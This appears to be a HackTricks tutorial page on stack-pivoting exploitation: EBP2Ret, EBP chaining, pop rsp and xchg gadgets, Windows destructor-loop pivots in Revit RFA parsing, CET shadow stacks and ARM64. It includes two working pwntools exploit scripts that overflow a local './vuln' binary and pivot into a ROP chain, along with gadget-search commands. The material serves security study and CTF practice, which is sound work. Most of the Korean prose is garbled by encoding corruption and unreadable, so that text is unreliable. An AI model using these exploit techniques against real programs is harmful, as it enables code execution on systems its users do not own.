Stack Pivoting - EBP2Ret - EBP chaining
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
์ด ๊ธฐ๋ฒ์ frame pointer์ ์ธ์ฌํ ํ์ฉ๊ณผ leave; ret ๋ช
๋ น ์ํ์ค๋ฅผ ํตํด ์ฌ๋ฌ ํจ์์ ์คํ์ ์ฐ๊ฒฐํ๊ธฐ ์ํด Base Pointer (EBP/RBP) ๋ฅผ ์กฐ์ํ ์ ์๋ ๋ฅ๋ ฅ์ ์
์ฉํฉ๋๋ค.
์ฐธ๊ณ ๋ก, x86/x86-64์์ leave ์ ๋ค์๊ณผ ๋์ผํฉ๋๋ค:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
๊ทธ๋ฆฌ๊ณ ์ ์ฅ๋ EBP/RBP๊ฐ ์ ์ฅ๋ EIP/RIP๋ณด๋ค ์คํ์์ ์์ ์๊ธฐ ๋๋ฌธ์, ์คํ์ ์ ์ดํ๋ฉด ์ด๋ฅผ ์ ์ดํ ์ ์๋ค.
Notes
- 64-bit์์๋ EBPโRBP์ ESPโRSP๋ก ๋์ฒดํ๋ค. ์๋ฏธ๋ ๋์ผํ๋ค.
- ์ผ๋ถ ์ปดํ์ผ๋ฌ๋ ํ๋ ์ ํฌ์ธํฐ๋ฅผ ์๋ตํ๋ค (see โEBP might not be usedโ). ๊ทธ ๊ฒฝ์ฐ
leave๊ฐ ์์ ์ ์์ด ์ด ๊ธฐ๋ฒ์ ์๋ํ์ง ์๋๋ค.
EBP2Ret
์ด ๊ธฐ๋ฒ์ ์ ์ฅ๋ EBP/RBP๋ ๋ณ๊ฒฝํ ์ ์์ง๋ง EIP/RIP์ ์ง์ ๋ณ๊ฒฝํ ์ ์๋ ๊ฒฝ์ฐ์ ํนํ ์ ์ฉํ๋ค. ํจ์ epilogue ๋์์ ์ด์ฉํ๋ค.
๋ง์ฝ fvuln ์คํ ์ค ์คํ์ ๊ณต๊ฒฉ์๊ฐ ์กฐ์ํ fake EBP๋ฅผ ์ฃผ์
ํด์, ๊ทธ EBP๊ฐ shellcode/ROP ์ฒด์ธ ์ฃผ์๊ฐ ์ ์ฅ๋ ๋ฉ๋ชจ๋ฆฌ ์์ญ(amd64์์ pop์ ๊ณ ๋ คํ +8๋ฐ์ดํธ, x86์์๋ +4๋ฐ์ดํธ)์ ๊ฐ๋ฆฌํค๊ฒ ๋ง๋ค๋ฉด, RIP์ ๊ฐ์ ์ ์ผ๋ก ์ ์ดํ ์ ์๋ค. ํจ์๊ฐ ๋ฆฌํดํ๋ฉด leave๊ฐ RSP๋ฅผ ์กฐ์ํ ์์น๋ก ์ค์ ํ๊ณ ์ด์ด์ง๋ pop rbp๊ฐ RSP๋ฅผ ๊ฐ์์์ผ ๊ฒฐ๊ณผ์ ์ผ๋ก RSP๊ฐ ๊ณต๊ฒฉ์๊ฐ ๊ทธ๊ณณ์ ์ ์ฅํ ์ฃผ์๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ๋๋ค. ๊ทธ๋ฐ ๋ค์ ret์ ๊ทธ ์ฃผ์๋ฅผ ์ฌ์ฉํ๊ฒ ๋๋ค.
์ฌ๊ธฐ์ ๋ ๊ฐ์ ์ฃผ์๋ฅผ ์์์ผ ํ๋ค: ESP/RSP๊ฐ ๊ฐ๋ฆฌํค๊ฒ ๋ ์ฃผ์, ๊ทธ๋ฆฌ๊ณ ret์ด ์๋นํ ํด๋น ์ฃผ์์ ์ ์ฅ๋ ๊ฐ.
Exploit Construction
์ฐ์ ์์์ ๋ฐ์ดํฐ/์ฃผ์๋ฅผ ์ธ ์ ์๋ ์ฃผ์๋ฅผ ์์์ผ ํ๋ค. RSP๊ฐ ์ฌ๊ธฐ๋ก ์ค์ ๋๊ณ ์ฒซ ๋ฒ์งธ ret์ ์๋นํ๊ฒ ๋๋ค.
๊ทธ ๋ค์, ์ ์ด๋ฅผ ์ด์ ํ ret์ด ์ฌ์ฉํ ์ฃผ์๋ฅผ ์ ํํด์ผ ํ๋ค. ๋ค์์ ์ฌ์ฉํ ์ ์๋ค:
- ์ ํจํ ONE_GADGET ์ฃผ์.
- ์ ์ ํ ๋ฆฌํด๊ณผ ์ธ์๋ฅผ ํฌํจํ **
system()**์ ์ฃผ์ (x86์ ๊ฒฝ์ฐ:ret๋์ =&system, ๊ทธ ๋ค์ 4๋ฐ์ดํธ junk, ๊ทธ ๋ค์&"/bin/sh"). - ์ธ๋ผ์ธ shellcode๊ฐ ๋ค๋ฐ๋ฅด๋
jmp esp;๊ฐ์ ฏ์ ์ฃผ์ (ret2esp). - ์ฐ๊ธฐ ๊ฐ๋ฅํ ๋ฉ๋ชจ๋ฆฌ์ ์คํ ์ด์ง๋ ROP ์ฒด์ธ.
์ปจํธ๋กค๋ ์์ญ์์ ์ด ์ฃผ์๋ค ์์๋ leave์์ ์คํ๋๋ pop ebp/rbp๋ฅผ ์ํ ๊ณต๊ฐ(amd64์์๋ 8B, x86์์๋ 4B)์ด ์์ด์ผ ํ๋ค. ์ด ๋ฐ์ดํธ๋ค์ ์
์ฉํด ๋ ๋ฒ์งธ fake EBP๋ฅผ ์ค์ ํ๊ณ ์ฒซ ๋ฒ์งธ ํธ์ถ์ด ๋ฆฌํดํ ์ดํ์๋ ์ ์ด๋ฅผ ์ ์งํ ์ ์๋ค.
Off-By-One Exploit
์ ์ฅ๋ EBP/RBP์ ์ตํ์ ๋ฐ์ดํธ๋ง ์์ ํ ์ ์๋ ๊ฒฝ์ฐ์ ์ฌ์ฉํ๋ ๋ณํ์ด ์๋ค. ์ด๋ฐ ๊ฒฝ์ฐ ret๋ก ์ ํํ ์ฃผ์๋ฅผ ์ ์ฅํ๋ ๋ฉ๋ชจ๋ฆฌ ์์น๋ 1๋ฐ์ดํธ ๋ฎ์ด์ฐ๊ธฐ๋ก ๋ฆฌ๋ค์ด๋ ํธ๊ฐ ๊ฐ๋ฅํ๋๋ก ์๋ EBP/RBP์ ์์ 3๋ฐ์ดํธ/5๋ฐ์ดํธ๋ฅผ ๊ณต์ ํด์ผ ํ๋ค. ๋ณดํต ๋ฎ์ ๋ฐ์ดํธ(offset 0x00)๋ฅผ ์ฆ๊ฐ์์ผ ์ธ๊ทผ ํ์ด์ง/์ ๋ ฌ๋ ์์ญ ๋ด์์ ๊ฐ๋ฅํ ๋ฉ๋ฆฌ ์ ํํ๋๋ก ํ๋ค.
๋ํ ์คํ์ RET sled๋ฅผ ๋๊ณ ์ค์ ROP ์ฒด์ธ์ ๋์ ๋ฐฐ์นํด ์ RSP๊ฐ sled ์์ ๊ฐ๋ฆฌํฌ ๊ฐ๋ฅ์ฑ์ ๋์ด๊ณ ์ต์ข ROP ์ฒด์ธ์ด ์คํ๋๋๋ก ํ๋ ๊ฒ์ด ์ผ๋ฐ์ ์ด๋ค.
EBP Chaining
์คํ์ ์ ์ฅ๋ EBP ์ฌ๋กฏ์ ์ ์ด ๊ฐ๋ฅํ ์ฃผ์๋ฅผ ๋ฃ๊ณ EIP/RIP์ leave; ret ๊ฐ์ ฏ์ ๋๋ฉด ESP/RSP๋ฅผ ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ์ฃผ์๋ก ์ด๋์ํค๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค.
์ด์ RSP๊ฐ ์ ์ด๋๊ณ ๋ค์ ๋ช
๋ น์ ret์ด๋ค. ์ ์ด๋ ๋ฉ๋ชจ๋ฆฌ์๋ ๋ค์๊ณผ ๊ฐ์ ๋ด์ฉ์ ๋ฃ์ด๋ผ:
&(next fake EBP)->leave์์์pop ebp/rbp๊ฐ ๋ก๋ํ๋ค.&system()->ret์ ์ํด ํธ์ถ๋๋ค.&(leave;ret)->system์ด ๋๋ ํ RSP๋ฅผ ๋ค์ fake EBP๋ก ์ด๋์ํค๊ณ ๊ณ์ ์งํํ๋ค.&("/bin/sh")->system์ ๋ํ ์ธ์.
์ด๋ ๊ฒ ์ฌ๋ฌ ๊ฐ์ fake EBP๋ฅผ ์ฒด์ธํด ํ๋ก๊ทธ๋จ์ ํ๋ฆ์ ์ ์ดํ ์ ์๋ค.
์ด๋ ret2lib์ ์ ์ฌํ์ง๋ง ๋ ๋ณต์กํ๊ณ ํน์ ์ฃ์ง ์ผ์ด์ค์์๋ง ์ ์ฉํ๋ค.
๋ํ, ์ฌ๊ธฐ ์ด ๊ธฐ๋ฒ์ stack leak๊ณผ ํจ๊ป ์ฌ์ฉํด ์น๋ฆฌ ํจ์๋ฅผ ํธ์ถํ๋ example of a challenge๊ฐ ์๋ค. ๋ค์์ ๊ทธ ํ์ด์ง์ ์ต์ข ํ์ด๋ก๋์ด๋ค:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 ์ ๋ ฌ ํ: System V ABI๋ ํธ์ถ ์ง์ ์์ 16๋ฐ์ดํธ ์คํ ์ ๋ ฌ์ ์๊ตฌํฉ๋๋ค. ์ฒด์ธ์ด
system๊ฐ์ ํจ์๋ฅผ ํธ์ถํ๋ค๋ฉด, ์ ๋ ฌ์ ์ ์งํ๊ณmovaps์ถฉ๋์ ํผํ๊ธฐ ์ํด ํธ์ถ ์ ์ ์ ๋ ฌ ๊ฐ์ ฏ(์:ret๋๋sub rsp, 8 ; ret)์ ์ถ๊ฐํ์ธ์.
EBP๋ ์ฌ์ฉ๋์ง ์์ ์ ์์
As explained in this post, ๋ฐ์ด๋๋ฆฌ๊ฐ ์ผ๋ถ ์ต์ ํ๋ ํ๋ ์ ํฌ์ธํฐ ์๋ต(frame-pointer omission)์ผ๋ก ์ปดํ์ผ๋๋ฉด, EBP/RBP๋ ESP/RSP๋ฅผ ์ ๋ ์ ์ดํ์ง ์์ต๋๋ค. ๋ฐ๋ผ์ EBP/RBP๋ฅผ ์ ์ดํ์ฌ ๋์ํ๋ ๋ชจ๋ exploit์ ์คํจํฉ๋๋ค. ๊ทธ ์ด์ ๋ ํ๋กค๋ก๊ทธ/์ํ๋ก๊ทธ๊ฐ ํ๋ ์ ํฌ์ธํฐ์์ ๋ณต์ํ์ง ์๊ธฐ ๋๋ฌธ์ ๋๋ค.
- ์ต์ ํ๋์ง ์์ / ํ๋ ์ ํฌ์ธํฐ ์ฌ์ฉ:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- ์ต์ ํ๋จ / ํ๋ ์ ํฌ์ธํฐ ์๋ต:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
amd64์์๋ ์ข
์ข
leave ; ret ๋์ pop rbp ; ret๋ฅผ ๋ณด๊ฒ ๋ฉ๋๋ค. ํ์ง๋ง ํ๋ ์ ํฌ์ธํฐ๊ฐ ์์ ํ ์๋ต๋๋ฉด rbp-๊ธฐ๋ฐ epilogue๋ฅผ ํตํด pivotํ ์ ์์ต๋๋ค.
Other ways to control RSP
pop rsp gadget
In this page์์ ์ด ๊ธฐ๋ฒ์ ์ฌ์ฉํ ์์ ๋ฅผ ํ์ธํ ์ ์์ต๋๋ค. ๊ทธ ์ฑ๋ฆฐ์ง์์๋ 2๊ฐ์ ํน์ ์ธ์๋ฅผ ๊ฐ์ง ํจ์๋ฅผ ํธ์ถํด์ผ ํ๊ณ , pop rsp gadget๊ฐ ์์์ผ๋ฉฐ ์คํ์ผ๋ก๋ถํฐ์ leak์ด ์์์ต๋๋ค:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2esp ๊ธฐ๋ฒ์ ์ฌ๊ธฐ์์ ํ์ธํ์ธ์:
pivot gadgets ๋น ๋ฅด๊ฒ ์ฐพ๊ธฐ
์ ํธํ๋ gadget finder๋ฅผ ์ฌ์ฉํด ๊ณ ์ ์ ์ธ pivot primitives๋ฅผ ๊ฒ์ํ์ธ์:
leave ; retํจ์๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์pop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(๋๋ x86์์๋add esp, <imm> ; ret)
์์:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
ํด๋์ pivot staging ํจํด
๋ง์ CTFs/exploits์์ ์ฌ์ฉ๋๋ ๊ฒฌ๊ณ ํ pivot ์ ๋ต:
- ์์ ์ด๊ธฐ overflow๋ฅผ ์ด์ฉํด
read/recv๋ฅผ ํธ์ถํ์ฌ ํฌ๊ณ ์ฐ๊ธฐ ๊ฐ๋ฅํ ์์ญ(์:.bss, heap, ๋๋ mapped RW memory)์ ์ ์ฒด ROP chain์ ๋ฐฐ์นํ๋ค. - ํด๋น ์์ญ์ผ๋ก RSP๋ฅผ ์ฎ๊ธฐ๊ธฐ ์ํด pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret)์ผ๋ก ๋ฆฌํดํ๋ค. - ์คํ
์ด์ง๋ ์ฒด์ธ์ ์ด์ด๊ฐ๋ค(์: leak libc,
mprotectํธ์ถ, ์ดํ shellcode๋ฅผread๋ก ์ฝ์ด ์ ํ).
Windows: Destructor-loop weird-machine pivots (Revit RFA ์ฌ๋ก ์ฐ๊ตฌ)
ํด๋ผ์ด์ธํธ ์ธก ํ์๋ ๋๋๋ก ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๊ฐ์ฒด ํ๋์์ ์ ๋๋ ํจ์ ํฌ์ธํฐ๋ฅผ ๊ฐ์ ํธ์ถํ๋ destructor loop๋ฅผ ๊ตฌํํ๋ค. ๊ฐ ๋ฐ๋ณต์ด ์ ํํ ํ๋์ ๊ฐ์ ํธ์ถ(โone-gadgetโ machine)์ ์ ๊ณตํ๋ค๋ฉด, ์ด๋ฅผ ์ ๋ขฐํ ์ ์๋ stack pivot๊ณผ ROP ์ง์ ์ผ๋ก ์ ํํ ์ ์๋ค.
Autodesk Revit RFA deserialization์์ ๊ด์ฐฐ๋จ (CVE-2025-5037):
- ํ์
์ด
AString์ธ ์กฐ์๋ ๊ฐ์ฒด๋ offset 0์ ๊ณต๊ฒฉ์ ๋ฐ์ดํธ๋ฅผ ๊ฐ๋ฆฌํค๋ ํฌ์ธํฐ๋ฅผ ๋๋ค. - destructor loop๋ ์ฌ์ค์ ๊ฐ์ฒด๋น ํ๋์ gadget์ ์คํํ๋ค:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
๋ ๊ฐ์ง ์ค์ฉ์ ํผ๋ฒ:
- Windows 10 (32-bit heap addrs): misaligned โmonster gadgetโ๊ฐ
8B E0โmov esp, eax๋ฅผ ํฌํจํ๊ณ , ๊ฒฐ๊ตญret๋ก ๋๋๋ฉฐ call primitive์์ heap ๊ธฐ๋ฐ ROP ์ฒด์ธ์ผ๋ก ํผ๋ฒํฉ๋๋ค. - Windows 11 (full 64-bit addrs): ๋ ๊ฐ์ฒด๋ฅผ ์ฌ์ฉํด constrained weird-machine pivot์ ๊ตฌ๋ํฉ๋๋ค:
- Gadget 1:
push rax ; pop rbp ; ret(์๋ rax๋ฅผ rbp๋ก ์ด๋) - Gadget 2:
leave ; ... ; ret(becomesmov rsp, rbp ; pop rbp ; ret), ์ฒซ ๋ฒ์งธ ๊ฐ์ฒด์ ๋ฒํผ๋ก ํผ๋ฒํ์ฌ ๊ทธ๊ณณ์์ ๊ธฐ์กด์ ROP ์ฒด์ธ์ด ์ด์ด์ง๋๋ค.
Windows x64์์ ํผ๋ฒ ํ ํ:
- 0x20-byte shadow space๋ฅผ ์ค์ํ๊ณ
call์ง์ ์ด์ ์ 16-byte ์ ๋ ฌ์ ์ ์งํ์ธ์. ๋ฆฌํฐ๋ด์ return address ์์ ๋ฐฐ์นํ๊ณlea rcx, [rsp+0x20] ; call rax๊ฐ์ ๊ฐ์ ฏ์ ์ฌ์ฉํ ๋คpop rax ; ret๋ก ์คํ ์ฃผ์๋ฅผ ์ ๋ฌํ๋ฉด ์ ์ด ํ๋ฆ์ ๋ง์น์ง ์์ผ๋ฉด์ ํธ๋ฆฌํฉ๋๋ค. - Non-ASLR helper modules(์กด์ฌํ ๊ฒฝ์ฐ)๋ ์์ ์ ์ธ ๊ฐ์ ฏ ํ๊ณผ
LoadLibraryW/GetProcAddress๊ฐ์ import๋ฅผ ์ ๊ณตํ์ฌucrtbase!system๊ฐ์ ๋์๋ค์ ๋์ ์ผ๋ก ํด์ํ ์ ์๊ฒ ํฉ๋๋ค. - writable thunk์ ํตํ ๋๋ฝ๋ ๊ฐ์ ฏ ์์ฑ: ์ ๋งํ ์ํ์ค๊ฐ writable function pointer๋ฅผ ํตํ
call๋ก ๋๋๋ค๋ฉด(์: DLL import thunk ๋๋ .data์ ํจ์ ํฌ์ธํฐ), ํด๋น ํฌ์ธํฐ๋ฅผpop rax ; ret๊ฐ์ ๋ฌดํดํ ๋จ์ผ ์คํ ์ผ๋ก ๋ฎ์ด์ฐ์ธ์. ๊ทธ๋ฌ๋ฉด ์ํ์ค๋ret๋ก ๋๋๋ ๊ฒ์ฒ๋ผ ๋์ํฉ๋๋ค(์:mov rdx, rsi ; mov rcx, rdi ; ret). ์ด๋ ๋ค๋ฅธ ๋ ์ง์คํฐ๋ฅผ ํผ์ํ์ง ์๊ณ Windows x64 ์ธ์ ๋ ์ง์คํฐ๋ฅผ ๋ก๋ํ๋ ๋ฐ ๋งค์ฐ ์ ์ฉํฉ๋๋ค.
์ ์ฒด ์ฒด์ธ ๊ตฌ์ฑ ๋ฐ ๊ฐ์ ฏ ์์๋ ์๋ ์ฐธ์กฐ๋ฅผ ๋ณด์ธ์.
stack pivoting์ ๋ฐฉํดํ๋ ํ๋์ ์ํ์ฑ (CET/Shadow Stack)
ํ๋ x86 CPU์ OS๋ ์ ์ ๋ **CET Shadow Stack (SHSTK)**์ ๋์
ํฉ๋๋ค. SHSTK๊ฐ ํ์ฑํ๋๋ฉด ret๋ ์ผ๋ฐ ์คํ์ ๋ฐํ ์ฃผ์๋ฅผ ํ๋์จ์ด๋ก ๋ณดํธ๋๋ shadow stack์ ๊ฐ๊ณผ ๋น๊ตํ๋ฉฐ, ๋ถ์ผ์น๊ฐ ์์ผ๋ฉด Control-Protection fault๋ฅผ ๋ฐ์์์ผ ํ๋ก์ธ์ค๋ฅผ ์ข
๋ฃํฉ๋๋ค. ๋ฐ๋ผ์ EBP2Ret/leave;ret ๊ธฐ๋ฐ์ pivots ๊ฐ์ ๊ธฐ์ ์ ํผ๋ฒ๋ ์คํ์์ ์ฒซ ret์ด ์คํ๋๋ ์ฆ์ ์ถฉ๋ํฉ๋๋ค.
- ๋ฐฐ๊ฒฝ ๋ฐ ์์ธํ ๋ด์ฉ์ ๋ค์์ ์ฐธ์กฐ:
- Linux์์์ ๋น ๋ฅธ ์ ๊ฒ:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notes for labs/CTF:
-
์ผ๋ถ ์ต์ ๋ฐฐํฌํ์ ํ๋์จ์ด์ glibc ์ง์์ด ์์ ๋ CET ์ง์ ๋ฐ์ด๋๋ฆฌ์ ๋ํด SHSTK๋ฅผ ํ์ฑํํฉ๋๋ค. VM์์ ์ ์ด๋ ํ ์คํธ๋ฅผ ํ ๊ฒฝ์ฐ, ์์คํ ์ ์ฒด์์ SHSTK๋ ์ปค๋ ๋ถํ ํ๋ผ๋ฏธํฐ
nousershstk๋ก ๋นํ์ฑํํ ์ ์๊ณ , ์์ ์ glibc tunables๋ฅผ ํตํด ์ ํ์ ์ผ๋ก ํ์ฑํํ ์ ์์ต๋๋ค(์ฐธ์กฐ ์ฐธ์กฐ). ์ด์ ๋์์์ ์ํ ๊ธฐ๋ฅ์ ๋นํ์ฑํํ์ง ๋ง์ธ์. -
JOP/COOP ๋๋ SROP ๊ธฐ๋ฐ ๊ธฐ๋ฒ์ ์ผ๋ถ ํ๊ฒ์์ ์ฌ์ ํ ์ ํจํ ์ ์์ง๋ง, SHSTK๋ ํนํ
ret๊ธฐ๋ฐ pivot์ ๊นจ๋จ๋ฆฝ๋๋ค. -
Windows note: Windows 10+๋ user-mode๋ฅผ ๋ ธ์ถํ๊ณ Windows 11์ shadow stacks๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ๋ kernel-mode โHardware-enforced Stack Protectionโ์ ์ถ๊ฐํฉ๋๋ค. CET ํธํ ํ๋ก์ธ์ค๋
ret์์์ stack pivoting/ROP๋ฅผ ๋ฐฉ์งํฉ๋๋ค; ๊ฐ๋ฐ์๋ CETCOMPAT ๋ฐ ๊ด๋ จ ์ ์ฑ ์ ํตํด ์ตํธ์ธํฉ๋๋ค(์ฐธ์กฐ).
ARM64
In ARM64, the prologue and epilogues of the functions donโt store and retrieve the SP register in the stack. Moreover, the RET instruction doesnโt return to the address pointed by SP, but to the address inside x30.
Therefore, by default, just abusing the epilogue you wonโt be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
ARM64์์ stack pivoting๊ณผ ์ ์ฌํ ๋์์ ์ํํ๋ ค๋ฉด
SP๋ฅผ ์ ์ดํ ์ ์์ด์ผ ํฉ๋๋ค(์ด๋ค ๋ ์ง์คํฐ์ ๊ฐ์ดSP๋ก ์ ๋ฌ๋๋๋ก ํด๋น ๋ ์ง์คํฐ๋ฅผ ์ ์ดํ๊ฑฐ๋,SP๊ฐ ์คํ์์ ์ฃผ์๋ฅผ ์ทจํ๊ณ ์๊ณ overflow๊ฐ ๋ฐ์ํ๋ ๊ฒฝ์ฐ ๋ฑ). ๊ทธ๋ฐ ๋ค์ epilogue๋ฅผ ์ ์ฉํ์ฌ ์ ์ด๋SP์์x30๋ ์ง์คํฐ๋ฅผ ๋ก๋ํ๊ณRETํ์ฌ ๊ทธ ์ฃผ์๋ก ์ด๋ํด์ผ ํฉ๋๋ค.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing
.fini_arrayentries + calling__libc_csu_fini(more info here). Abusing this โeternalโ write, itโs written a ROP chain in the .bss and end up calling it pivoting with RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack โ details on SHSTK,
nousershstk,/proc/$PID/statusflags, and enabling viaarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


